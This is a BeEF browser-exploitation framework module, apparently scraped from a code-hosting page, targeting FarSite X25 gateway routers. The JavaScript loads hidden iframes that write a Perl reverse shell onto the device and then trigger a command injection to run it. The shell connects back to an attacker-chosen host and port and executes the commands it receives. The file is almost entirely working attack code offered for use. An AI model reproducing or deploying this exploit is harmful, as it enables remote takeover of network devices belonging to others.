Path: blob/master/modules/exploits/farsite_x25_remote_shell/command.js
1154 views
//1beef.execute(function() {23var rhost = '<%= @rhost %>';4var scheme = '<%= @scheme %>';5var lhost = '<%= @lhost %>';6var lport = '<%= @lport %>';78writefile = function() {9var revshell='use+IO;$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}';10revshell = revshell + '$c=new IO::Socket::INET(PeerAddr,"' + lhost + ':' + lport +'");';11revshell = revshell + 'STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};';12var x25w_<%= @command_id %>= beef.dom.createInvisibleIframe();13var uri = scheme + '://' + rhost + "/fsSaveUIPersistence.php?strSubmitData=" + revshell;14//About to hit uri15x25w_<%= @command_id %>.setAttribute('src', uri);16};1718exploit = function() {19//Command injecting on the router20var x25e_<%= @command_id %> = beef.dom.createInvisibleIframe();21var uri = scheme + '://' + rhost + "/fsx25MonProxy.php?strSubmitData=start+|perl</http/htdocs/fsUI.xyz;echo";22x25e_<%= @command_id %>.setAttribute('src', uri);23};2425try {26writefile();27setTimeout(exploit,5000);28} catch (e) {29beef.debug(peer + " - Exploit failed: " + e.message);30}3132});333435